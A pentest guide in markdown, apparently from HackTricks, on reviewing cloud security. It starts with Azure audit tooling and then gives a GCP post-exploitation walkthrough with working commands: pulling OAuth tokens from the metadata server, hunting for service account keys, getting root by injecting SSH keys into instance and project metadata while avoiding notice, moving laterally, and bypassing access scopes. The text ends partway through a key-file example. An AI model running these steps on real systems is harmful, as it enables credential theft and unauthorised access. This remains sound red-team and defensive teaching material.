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hacktricks/cloud-security/cloud-security-review.md

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# Cloud Security Review
**Check for nice cloud hacking tricks in** [**https://hackingthe.cloud/aws/general-knowledge/connection-tracking/**](https://hackingthe.cloud/aws/general-knowledge/connection-tracking/)
## Generic tools
There are several tools that can be used to test different cloud environments. The installation steps and links are going to be indicated in this section.
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure
```
pip3 install scoutsuite
```
### [cs-suite](https://github.com/SecurityFTW/cs-suite)
AWS, GCP, Azure, DigitalOcean
```
git clone https://github.com/SecurityFTW/cs-suite.git && cd cs-suite/
pip install virtualenv
virtualenv -p python2.7 venv
source venv/bin/activate
pip install -r requirements.txt
python cs.py --help
```
### Nessus
Nessus has an _**Audit Cloud Infrastructure**_ scan supporting: AWS, Azure, Office 365, Rackspace, Salesforce. Some extra configurations in **Azure** are needed to obtain a **Client Id**.
### Common Sense
Take a look to the **network access rules** and detect if the services are correctly protected:
* ssh available from everywhere?
* Unencrypted services running (telnet, http, ...)?
* Unprotected admin consoles?
* In general, check that all services are correctly protected depending on their needs
## Azure
Access the portal here: [http://portal.azure.com/](http://portal.azure.com)\
To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are **not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**.
It is recommended to **install azure-cli** in a **linux** and **windows** virtual machines (to be able to run powershell and python scripts): [https://docs.microsoft.com/en-us/cli/azure/install-azure-cli?view=azure-cli-latest](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli?view=azure-cli-latest)\
Then, run `az login` to login. Note the **account information** and **token** will be **saved** inside _\<HOME>/.azure_ (in both Windows and Linux).
Remember that if the **Security Centre Standard Pricing Tier** is being used and **not** the **free** tier, you can **generate** a **CIS compliance scan report** from the azure portal. Go to _Policy & Compliance-> Regulatory Compliance_ (or try to access [https://portal.azure.com/#blade/Microsoft_Azure_Security/SecurityMenuBlade/22](https://portal.azure.com/#blade/Microsoft_Azure_Security/SecurityMenuBlade/22)).\
\__If the company is not paying for a Standard account you may need to review the **CIS Microsoft Azure Foundations Benchmark** by "hand" (you can get some help using the following tools). Download it from [**here**](https://www.newnettechnologies.com/cis-benchmark.html?keyword=\&gclid=Cj0KCQjwyPbzBRDsARIsAFh15JYSireQtX57C6XF8cfZU3JVjswtaLFJndC3Hv45YraKpLVDgLqEY6IaAhsZEALw_wcB#microsoft-azure).
### Run scanners
Run the scanners to look for **vulnerabilities** and **compare** the security measures implemented with **CIS**.
```bash
pip install scout
scout azure --cli --report-dir <output_dir>
#Fix azureaudit.py before launching cs.py
#Adding "j_res = {}" on line 1074
python cs.py -env azure
#Azucar is an Azure security scanner for PowerShell (https://github.com/nccgroup/azucar)
#Run it from its folder
.\Azucar.ps1 -AuthMode Interactive -ForceAuth -ExportTo EXCEL
#Azure-CIS-Scanner,CIS scanner for Azure (https://github.com/kbroughton/azure_cis_scanner)
pip3 install azure-cis-scanner #Install
azscan #Run, login before with `az login`
```
### Attack Graph
[**Stormspotter** ](https://github.com/Azure/Stormspotter)creates an “attack graph” of the resources in an Azure subscription. It enables red teams and pentesters to visualize the attack surface and pivot opportunities within a tenant, and supercharges your defenders to quickly orient and prioritize incident response work.
### More checks
* Check for a **high number of Global Admin** (between 2-4 are recommended). Access it on: [https://portal.azure.com/#blade/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/Overview](https://portal.azure.com/#blade/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/Overview)
* Global admins should have MFA activated. Go to Users and click on Multi-Factor Authentication button.
![](<../.gitbook/assets/image (293).png>)
* Dedicated admin account shouldn't have mailboxes (they can only have mailboxes if they have Office 365).
* Local AD shouldn't be sync with Azure AD if not needed([https://portal.azure.com/#blade/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/AzureADConnect](https://portal.azure.com/#blade/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/AzureADConnect)). And if synced Password Hash Sync should be enabled for reliability. In this case it's disabled:
![](<../.gitbook/assets/image (294).png>)
* **Global Administrators** shouldn't be synced from a local AD. Check if Global Administrators emails uses the domain **onmicrosoft.com**. If not, check the source of the user, the source should be Azure Active Directory, if it comes from Windows Server AD, then report it.
![](<../.gitbook/assets/image (295).png>)
* **Standard tier** is recommended instead of free tier (see the tier being used in _Pricing & Settings_ or in [https://portal.azure.com/#blade/Microsoft_Azure_Security/SecurityMenuBlade/24](https://portal.azure.com/#blade/Microsoft_Azure_Security/SecurityMenuBlade/24))
* **Periodic SQL servers scans**:
_Select the SQL server_ --> _Make sure that 'Advanced data security' is set to 'On'_ --> _Under 'Vulnerability assessment settings', set 'Periodic recurring scans' to 'On', and configure a storage account for storing vulnerability assessment scan results_ --> _Click Save_
* **Lack of App Services restrictions**: Look for "App Services" in Azure ([https://portal.azure.com/#blade/HubsExtension/BrowseResource/resourceType/Microsoft.Web%2Fsites](https://portal.azure.com/#blade/HubsExtension/BrowseResource/resourceType/Microsoft.Web%2Fsites)) and check if anyone is being used. In that case check go through each App checking for "Access Restrictions" and there aren't rules, report it. The access to the app service should be restricted according to the needs.
## Office365
You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features via the web application.
## AWS
Get objects in graph: [https://github.com/FSecureLABS/awspx](https://github.com/FSecureLABS/awspx)
## GPC
If you find a **SSRF** in an application running in [**GPC checkout this information**](../pentesting-web/ssrf-server-side-request-forgery.md#6440)**.**\
****If a **SQL database** (like MySQL) is used in a GPC machine, users may misconfigure it and open it to the Internet. Try to connect. ([**MySQL**](../pentesting/pentesting-mysql.md), [**PostgreSQL**](../pentesting/pentesting-postgresql.md))\
**Google Cloud Storage publicly exposed**: Sometimes a bucket can be miss-configured and left accessible by everyone. If miss-configured, accessing via HTTP you will find a list of the files stored there:
![](<../.gitbook/assets/image (618).png>)
Tool to enumerate GCP externally: [https://github.com/initstring/cloud_enum/blob/master/enum_tools/gcp_checks.py](https://github.com/initstring/cloud_enum/blob/master/enum_tools/gcp_checks.py), [https://github.com/0xsha/CloudBrute](https://github.com/0xsha/CloudBrute), [https://github.com/jordanpotti/CloudScraper](https://github.com/jordanpotti/CloudScraper)
```bash
# Use leaked service account
gcloud auth activate-service-account --key-file=service-key.json
# List images
gcloud container images list
## Download and run locally an image
docker run --rm -ti gcr.io/<project-name>/secret:v1 sh
```
**Metadata endpoint**
Every Compute Instance has access to a dedicated [metadata server](https://cloud.google.com/compute/docs/storing-retrieving-metadata) via the IP address 169.254.169.254. You can identify it as a host file entry like the one below:
```
$ cat /etc/hosts
[...]
169.254.169.254 metadata.google.internal # Added by Google
```
This metadata server allows any processes running on the instance to query Google for information about the instance it runs on and the project it resides in. No authentication is required - default `curl` commands will suffice.
For example, the following command will return information specific to the Compute Instance it is run from.
```
$ curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```
**Service accounts**
By default virtual machines are assigned the default user account, which has high privileges. Administrators can choose to assign a different service account or no service account at all.\
To get the accounts available from the machine you can run:
```
gcloud auth list
```
Default service accounts will look like one of the following:
```
PROJECT_NUMBER-compute@developer.gserviceaccount.com
PROJECT_ID@appspot.gserviceaccount.com
```
A custom service account will look like this:
```
SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com
```
If `gcloud auth list` returns **multiple accounts** available, something interesting is going on. You should generally see only the service account. If there is more than one, you can **cycle through each** using `gcloud config set account [ACCOUNT]` while trying the various tasks in this blog.
**Access scopes**
The service account on a GCP Compute Instance will **use OAuth** to communicate with the Google Cloud APIs. When [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) are used, the OAuth token that is generated for the instance will have a** **[**scope**](https://oauth.net/2/scope/)** limitation included**. This defines **what API endpoints it can authenticate to**. It does **NOT** define the actual **permissions**.
When using a **custom service account**, Google [recommends](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) that access **scopes** are **not** **used** and to rely **totally on IAM**. The web management portal actually enforces this, but access scopes can still be applied to instances using custom service accounts programatically.
There are **three options **when setting an access scope on a VM instance:
* Allow **default** access
* All **full** access to all cloud APIs
* Set access for **each API**
You can see **what scopes are assigned** by querying the **metadata** **URL**. Here is an example from a VM with "default" access assigned:
```bash
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes \
-H 'Metadata-Flavor:Google'
https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
https://www.googleapis.com/auth/servicecontrol
https://www.googleapis.com/auth/service.management.readonly
https://www.googleapis.com/auth/trace.append
```
The most interesting thing in the **default** scope is **`devstorage.read_only`**. This grants **read access to all storage buckets** in the project. This can be devastating, which of course is great for us as an attacker.
Here is what you'll see from an instance with no scope limitations:
```bash
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'
https://www.googleapis.com/auth/cloud-platform
```
This `cloud-platform` scope is what we are really hoping for, as it will **allow us to authenticate to any API** function and leverage the **full** **power** of our **assigned** **IAM** permissions. It is also **Google's** recommendation as it forces administrators to **choose** **only** **necessary** **permissions**, and not to rely on access scopes as a barrier to an API endpoint.
It is possible to encounter some **conflicts when using both IAM and access scopes**. For example, your service account may have the **IAM** role of **`compute.instanceAdmin`** but the instance you've breached has been crippled with the **scope** **limitation** of `https://www.googleapis.com/auth/compute.readonly`. This would prevent you from making any changes using the OAuth token that's automatically assigned to your instance.
**Identify and access management (IAM)**
IAM permissions are used for fine-grained access control. There are [a lot](https://cloud.google.com/iam/docs/permissions-reference) of them. The permissions are bundled together using three types of [roles](https://cloud.google.com/iam/docs/understanding-roles):
* **Primitive** roles: **Owner**, **Editor**, and **Viewer**. These are the old-school way of doing things. The **default** **service** **account** in every project is assigned the **Editor** role. This is **insecure** and we love it.
* **Predefined** roles: These roles are **managed by Google **and are meant to be combinations of most-likely scenarios. One of our favorites is the `compute.instanceAdmin` role, as it allows for easy privilege escalation.
* **Custom roles**: This allows admins to **group their own set of granular permissions**.
As of this writing, there are 2,574 fine-grained permissions in IAM. These individual permissions are bundled together into a role. A role is connected to a member (user or service account) in what Google calls a [binding](https://cloud.google.com/iam/docs/reference/rest/v1/Policy#binding). Finally, this binding is applied at some level of the GCP hierarchy via a [policy](https://cloud.google.com/iam/docs/reference/rest/v1/Policy).
This policy determines **what actions are allowed** - it is the intersection between accounts, permissions, resources, and (optionally) conditions.
You can try the following command to specifically **enumerate roles assigned** to your service account project-wide in the current project:
```bash
PROJECT=$(curl http://metadata.google.internal/computeMetadata/v1/project/project-id \
-H "Metadata-Flavor: Google" -s)
ACCOUNT=$(curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email \
-H "Metadata-Flavor: Google" -s)
gcloud projects get-iam-policy $PROJECT \
--flatten="bindings[].members" \
--format='table(bindings.role)' \
--filter="bindings.members:$ACCOUNT"
```
Don't worry too much if you get **denied access** to the command above. It's still possible to w**ork out what you can do simply by trying to do it**.
More generally, you can shorten the command to the following to get an idea of the **roles assigned project-wide to all members**.
```
gcloud projects get-iam-policy [PROJECT-ID]
```
Or to see the **IAM** **policy **[**assigned to a single Compute Instance**](https://cloud.google.com/sdk/gcloud/reference/compute/instances/get-iam-policy) you can try the following.
```
gcloud compute instances get-iam-policy [INSTANCE] --zone [ZONE]
```
There are similar commands for various other APIs. Consult the documentation if you need one other than what is shown above.
### Default credentials
**Default service account token**
The metadata server available to a given instance will provide any user/process on that instance with an **OAuth token that is automatically used as the default credentials** when communicating with Google APIs via the `gcloud` command.
You can retrieve and inspect the token with the following curl command:
```bash
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google"
```
Which will receive a response like the following:
```javascript
{
"access_token":"ya29.AHES6ZRN3-HlhAPya30GnW_bHSb_QtAS08i85nHq39HE3C2LTrCARA",
"expires_in":3599,
"token_type":"Bearer"
}
```
This token is the combination of the service account and access scopes assigned to the Compute Instance. So, **even** though your service account may have **every IAM privilege** imaginable, this particular OAuth token might be **limited** in the APIs it can communicate with due to **access scopes**.
**Application default credentials**
As an alternative to first pulling a token from the metadata server, Google also has a strategy called Application Default Credentials. When using one of Google's official GCP client libraries, the code will automatically go searching for credentials to use in a defined order.
The very first location it would check would be the [source code itself](https://cloud.google.com/docs/authentication/production#passing_the_path_to_the_service_account_key_in_code). Developers can choose to statically point to a service account key file.
The next is an environment variable called `GOOGLE_APPLICATION_CREDENTIALS`. This can be set to point to a service account key file. Look for the variable itself set in the context of a system account or for references to setting it in scripts and instance metadata.
Finally, if neither of these are provided, the application will revert to using the default token provided by the metadata server as described in the section above.
Finding the actual JSON file with the service account credentials is generally much more desirable than relying on the OAuth token on the metadata server. This is because the raw service account credentials can be activated without the burden of access scopes and without the short expiration period usually applied to the tokens.
### Local privilege escalation <a href="local-privilege-escalation" id="local-privilege-escalation"></a>
This section will provide some tips on quick wins for local privilege escalation. If they work right away, great! While getting root locally seems like a logical starting point, though, hacking in the real world is rarely this organized. You may find that you need to jump ahead and grab additional secrets from a later step before you can escalate with these methods.
Don't feel discouraged if you can't get local root right away - keep reading and follow the path that naturally unfolds.
#### Follow the scripts! <a href="follow-the-scripts" id="follow-the-scripts"></a>
Compute Instances are there to do things. To do things in Google, they will use their service accounts. And to do things with those service accounts, they likely use scripts!
Often, we'll find ourselves on a Compute Instance and fail to enumerate things like available storage buckets, crypto keys, other instances, etc., due to permission denied errors. IAM permissions are very granular, meaning you can grant permissions to individual resources without granting the permission to list what those resources are.
A great hypothetical example of this is a Compute Instance that has permission to **read/write backups** to a **storage** bucket called `instance82736-long-term-xyz-archive-0332893`.
Running `gsutil ls` from the command line returns nothing, as the service account is lacking the `storage.buckets.list` IAM permission. However, if you ran `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` you may find a **complete filesystem backup**, giving you clear-text access to data that your local Linux account lacks.
But how would you know to list the contents of that very-specific bucket name? While brute-forcing buckets is a good idea, there is no way you'd find that in a word list.
But, the instance is somehow backing up to it. Probably using a script!
Look for references to the `gcloud` command in scripts within the instance's metadata, local filesystem, service unit files, etc. You may also find Python, Ruby, PHP, etc scripts using their own [GCP client libraries](https://cloud.google.com/apis/docs/cloud-client-libraries) that leverage the service account's permissions to get things done.
Scripts in general help you understand what the machine is meant to do and will help you in identifying ways to abuse that intended functionality.
#### Modifying the metadata <a href="modifying-the-metadata" id="modifying-the-metadata"></a>
If you can **modify** the instance's **metadata**, there are numerous ways to **escalate privileges locally**. There are a few scenarios that can lead to a service account with this permission:
_Default service account_\
When using the default service account, the web management console offers the following options for access scopes:
* Allow default access (default)
* Allow full access to all Cloud APIs
* Set access for each API
If option 2 was selected, or option 3 while explicitly **allowing access to the compute API**, then this configuration is vulnerable to escalation.
_Custom service account_\
When using a custom service account, one of the following IAM permissions is necessary to escalate privileges:
* **compute.instances.setMetadata** (to affect a single instance)
* **compute.projects.setCommonInstanceMetadata** (to affect all instances in the project)
Although Google [recommends](https://cloud.google.com/compute/docs/access/service-accounts#associating_a_service_account_to_an_instance) not using access scopes for custom service accounts, it is still possible to do so. You'll need one of the following access scopes:
* https://www.googleapis.com/auth/compute
* https://www.googleapis.com/auth/cloud-platform
**Add SSH keys to custom metadata**
Linux systems on GCP will typically be running [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) scripts. One of these is the [**accounts daemon**](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts)**,** which periodically queries the instance metadata endpoint for **changes to the authorized SSH public keys**.
If a **new** **public** **key** is encountered, it will be processed and **added** to the local machine. Depending on the format of the key, it will either be added to the `~/.ssh/authorized_keys` file of an **existing** **user** or will create a **new** **user** with `sudo` rights.
So, if you can **modify** custom instance **metadata** with your service account, you can **escalate** to **root** on the local system by gaining SSH rights to a privileged account. If you can **modify** custom **project** **metadata**, you can escalate to **root** on **any system** in the current **GCP** **project** that is running the accounts daemon.
**Add SSH key to existing privileged user**
Let's start by adding our own key to an existing account, as that will probably make the least noise. You'll want to be careful not to wipe out any keys that already exist in metadata, as that may tip your target off.
Check the instance for existing SSH keys. Pick one of these users as they are likely to have sudo rights.
```
$ gcloud compute instances describe [INSTANCE] --zone [ZONE]
```
Look for a section like the following:
```
...
metadata:
fingerprint: QCZfVTIlKgs=
items:
...
- key: ssh-keys
value: |-
alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSySm5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/tj9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ alice
bob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbkg/Ew8SZAvvvZ3bCwv0i5s+vWM3ox5SIs7/W4vRQBUB4DIDPtj0nK1d1ibxCa59YA8GdpIf797M0CKQ85DIjOnOrlvJH/qUnZ9fbhaHzlo2aSVyE6/wRMgToZedmc6RzQG2byVxoyyLPovt1rAZOTTONg2f3vu62xVa/PIk4cEtCN3dTNYYf3NxMPRF6HCbknaM9ixmu3ImQ7+vG3M+g9fALhBmmF bob
...
```
Notice the slightly odd format of the public keys - the username is listed at the beginning (followed by a colon) and then again at the end. We'll need to match this format. Unlike normal SSH key operation, the username absolutely matters!
Save the lines with usernames and keys in a new text file called `meta.txt`.
Let's assume we are targeting the user `alice` from above. We'll generate a new key for ourselves like this:
```
$ ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
```
Take the output of the command above and use it to add a line to the `meta.txt` file you create above, ensuring to add `alice:` to the beggining of your new public key.
`meta.txt` should now look something like this, including the existing keys and the new key you just generated:
```
alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSySm5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/tj9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ alice
bob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbkg/Ew8SZAvvvZ3bCwv0i5s+vWM3ox5SIs7/W4vRQBUB4DIDPtj0nK1d1ibxCa59YA8GdpIf797M0CKQ85DIjOnOrlvJH/qUnZ9fbhaHzlo2aSVyE6/wRMgToZedmc6RzQG2byVxoyyLPovt1rAZOTTONg2f3vu62xVa/PIk4cEtCN3dTNYYf3NxMPRF6HCbknaM9ixmu3ImQ7+vG3M+g9fALhBmmF bob
alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnthNXHxi31LX8PlsGdIF/wlWmI0fPzuMrv7Z6rqNNgDYOuOFTpM1Sx/vfvezJNY+bonAPhJGTRCwAwytXIcW6JoeX5NEJsvEVSAwB1scOSCEAMefl0FyIZ3ZtlcsQ++LpNszzErreckik3aR+7LsA2TCVBjdlPuxh4mvWBhsJAjYS7ojrEAtQsJ0mBSd20yHxZNuh7qqG0JTzJac7n8S5eDacFGWCxQwPnuINeGoacTQ+MWHlbsYbhxnumWRvRiEm7+WOg2vPgwVpMp4sgz0q5r7n/l7YClvh/qfVquQ6bFdpkVaZmkXoaO74Op2Sd7C+MBDITDNZPpXIlZOf4OLb alice
```
Now, you can re-write the SSH key metadata for your instance with the following command:
```
$ gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
```
You can now access a shell in the context of `alice` as follows:
```
lowpriv@instance:~$ ssh -i ./key alice@localhost
alice@instance:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)
```
**Create a new privileged user**
No existing keys found when following the steps above? No one else interesting in `/etc/passwd` to target?
You can follow the same process as above, but just make up a new username. This user will be created automatically and given rights to `sudo`. Scripted, the process would look like this:
```
# define the new account username
NEWUSER="definitelynotahacker"
# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt
# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
```
**Grant sudo to existing session**
This one is so easy, quick, and dirty that it feels wrong…
```
$ gcloud compute ssh [INSTANCE NAME]
```
This will generate a new SSH key, add it to your existing user, and add your existing username to the `google-sudoers` group, and start a new SSH session. While it is quick and easy, it may end up making more changes to the target system than the previous methods.
We'll talk about this again for lateral movement, but it works perfectly fine for local privilege escalation as well.
**Using OS Login**
[OS Login](https://cloud.google.com/compute/docs/oslogin/) is an alternative to managing SSH keys. It links a Google user or service account to a Linux identity, relying on IAM permissions to grant or deny access to Compute Instances.
OS Login is [enabled](https://cloud.google.com/compute/docs/instances/managing-instance-access#enable_oslogin) at the project or instance level using the metadata key of `enable-oslogin = TRUE`.
OS Login with two-factor authentication is [enabled](https://cloud.google.com/compute/docs/oslogin/setup-two-factor-authentication) in the same manner with the metadata key of `enable-oslogin-2fa = TRUE`.
The following two IAM permissions control SSH access to instances with OS Login enabled. They can be applied at the project or instance level:
* roles/compute.osLogin (no sudo)
* roles/compute.osAdminLogin (has sudo)
Unlike managing only with SSH keys, these permissions allow the administrator to control whether or not `sudo` is granted.
If you're lucky, your service account has these permissions. You can simply run the `gcloud compute ssh [INSTANCE]` command to [connect manually as the service account](https://cloud.google.com/compute/docs/instances/connecting-advanced#sa_ssh_manual). Two-factor is only enforced when using user accounts, so that should not slow you down even if it is assigned as shown above.
Similar to using SSH keys from metadata, you can use this strategy to escalate privileges locally and/or to access other Compute Instances on the network.
### Lateral movement <a href="lateral-movement" id="lateral-movement"></a>
You've compromised one VM inside a project. Great! Now let's get some more…
You can try the following command to get a list of all instances in your current project:
```
$ gcloud compute instances list
```
#### SSH'ing around <a href="sshing-around" id="sshing-around"></a>
You can use the local privilege escalation tactics above to move around to other machines. Read through those sections for a detailed description of each method and the associated commands.
We can expand upon those a bit by [applying SSH keys at the project level](https://cloud.google.com/compute/docs/instances/adding-removing-ssh-keys#project-wide), granting you permission to SSH into a privileged account for any instance that has not explicitly chosen the "Block project-wide SSH keys" option.
After you've identified the strategy for selecting or creating a new user account, you can use the following syntax.
```
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
```
If you're really bold, you can also just type `gcloud compute ssh [INSTANCE]` to use your current username on other boxes.
#### Abusing networked services <a href="abusing-networked-services" id="abusing-networked-services"></a>
**Some GCP networking tidbits**
Compute Instances are connected to networks called VPCs or [Virtual Private Clouds](https://cloud.google.com/vpc/docs/vpc). [GCP firewall](https://cloud.google.com/vpc/docs/firewalls) rules are defined at this network level but are applied individually to a Compute Instance. Every network, by default, has two [implied firewall rules](https://cloud.google.com/vpc/docs/firewalls#default_firewall_rules): allow outbound and deny inbound.
Each GCP project is provided with a VPC called `default`, which applies the following rules to all instances:
* default-allow-internal (allow all traffic from other instances on the `default` network)
* default-allow-ssh (allow 22 from everywhere)
* default-allow-rdp (allow 3389 from everywhere)
* default-allow-icmp (allow ping from everywhere)
**Meet the neighbors**
Firewall rules may be more permissive for internal IP addresses. This is especially true for the default VPC, which permits all traffic between Compute Instances.
You can get a nice readable view of all the subnets in the current project with the following command:
```
$ gcloud compute networks subnets list
```
And an overview of all the internal/external IP addresses of the Compute Instances using the following:
```
$ gcloud compute instances list
```
If you go crazy with nmap from a Compute Instance, Google will notice and will likely send an alert email to the project owner. This is more likely to happen if you are scanning public IP addresses outside of your current project. Tread carefully.
**Enumerating public ports**
Perhaps you've been unable to leverage your current access to move through the project internally, but you DO have read access to the compute API. It's worth enumerating all the instances with firewall ports open to the world - you might find an insecure application to breach and hope you land in a more powerful position.
In the section above, you've gathered a list of all the public IP addresses. You could run nmap against them all, but this may taken ages and could get your source IP blocked.
When attacking from the internet, the default rules don't provide any quick wins on properly configured machines. It's worth checking for password authentication on SSH and weak passwords on RDP, of course, but that's a given.
What we are really interested in is other firewall rules that have been intentionally applied to an instance. If we're lucky, we'll stumble over an insecure application, an admin interface with a default password, or anything else we can exploit.
[Firewall rules](https://cloud.google.com/vpc/docs/firewalls) can be applied to instances via the following methods:
* [Network tags](https://cloud.google.com/vpc/docs/add-remove-network-tags)
* [Service accounts](https://cloud.google.com/vpc/docs/firewalls#serviceaccounts)
* All instances within a VPC
Unfortunately, there isn't a simple `gcloud` command to spit out all Compute Instances with open ports on the internet. You have to connect the dots between firewall rules, network tags, services accounts, and instances.
We've automated this completely using [this python script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum) which will export the following:
* CSV file showing instance, public IP, allowed TCP, allowed UDP
* nmap scan to target all instances on ports ingress allowed from the public internet (0.0.0.0/0)
* masscan to target the full TCP range of those instances that allow ALL TCP ports from the public internet (0.0.0.0/0)
Full documentation on that tool is available in the [README](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum/blob/master/README.md).
### Cloud privilege escalation <a href="cloud-privilege-escalation" id="cloud-privilege-escalation"></a>
In this section, we'll talk about ways to potentially increase our privileges within the cloud environment itself.
#### Organization-level IAM permissions <a href="organization-level-iam-permissions" id="organization-level-iam-permissions"></a>
Most of the commands in this blog focus on obtaining project-level data. However, it's important to know that permissions can be set at the highest level of "Organization" as well. If you can enumerate this info, this will give you an idea of which accounts may have access across all of the projects inside an org.
The following commands will list the policies set at this level:
```bash
# First, get the numeric organization ID
gcloud organizations list
# Then, enumerate the policies
gcloud organizations get-iam-policy [ORG ID]
```
Permissions you see in this output will be applied to EVERY project. If you don't have access to any of the accounts listed, continue reading to the [Service Account Impersonation](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#service-account-impersonation) section below.
#### Bypassing access scopes <a href="bypassing-access-scopes" id="bypassing-access-scopes"></a>
There's nothing worse than having access to a powerful service account but being limited by the access scopes of your current OAuth token. But fret not! Just the existence of that powerful account introduces risks which we might still be able to abuse.
**Pop another box**
It's possible that another box in the environment exists with less restrictive access scopes. If you can view the output of `gcloud compute instances list --quiet --format=json`, look for instances with either the specific scope you want or the `auth/cloud-platform` all-inclusive scope.
Also keep an eye out for instances that have the default service account assigned (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`).
**Find service account keys**
Google states very clearly [**"Access scopes are not a security mechanism… they have no effect when making requests not authenticated through OAuth"**](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam).
So, if we have a powerful service account but a limited OAuth token, we need to somehow authenticate to services without OAuth.
The easiest way to do this would be to stumble across a [service account key](https://cloud.google.com/iam/docs/creating-managing-service-account-keys) stored on the instance. These are RSA private keys that can be used to authenticate to the Google Cloud API and request a new OAuth token with no scope limitations.
You can tell which service accounts, if any, have had key files exported for them. This will let you know whether or not it's even worth hunting for them, and possibly give you some hints on where to look. The command below will help.
```
$ for i in $(gcloud iam service-accounts list --format="table[no-heading](email)"); do
echo Looking for keys for $i:
gcloud iam service-accounts keys list --iam-account $i
done
```
These files are not stored on a Compute Instance by default, so you'd have to be lucky to encounter them. When a service account key file is exported from the GCP console, the default name for the file is \[project-id]-\[portion-of-key-id].json. So, if your project name is `test-project` then you can search the filesystem for `test-project*.json` looking for this key file.
The contents of the file look something like this:
```
{
"type": "service_account",
"project_id": "[PROJECT-ID]",
"private_key_id": "[KEY-ID]",
"private_key": "-----BEGIN PRIVATE KEY-----\n[PRIVATE-KEY]\n-----END PRIVATE KEY-----\n",
"client_email": "[SERVICE-ACCOUNT-EMAIL]",
"client_id": "[CLIENT-ID]",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://accounts.google.com/o/oauth2/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/[SERVICE-ACCOUNT-EMAIL]"
}
```
Or, if generated from the CLI they will look like this:
```
{
"name": "projects/[PROJECT-ID]/serviceAccounts/[SERVICE-ACCOUNT-EMAIL]/keys/[KEY-ID]",
"privateKeyType": "TYPE_GOOGLE_CREDENTIALS_FILE",
"privateKeyData": "[PRIVATE-KEY]",
"validAfterTime": "[DATE]",
"validBeforeTime": "[DATE]",
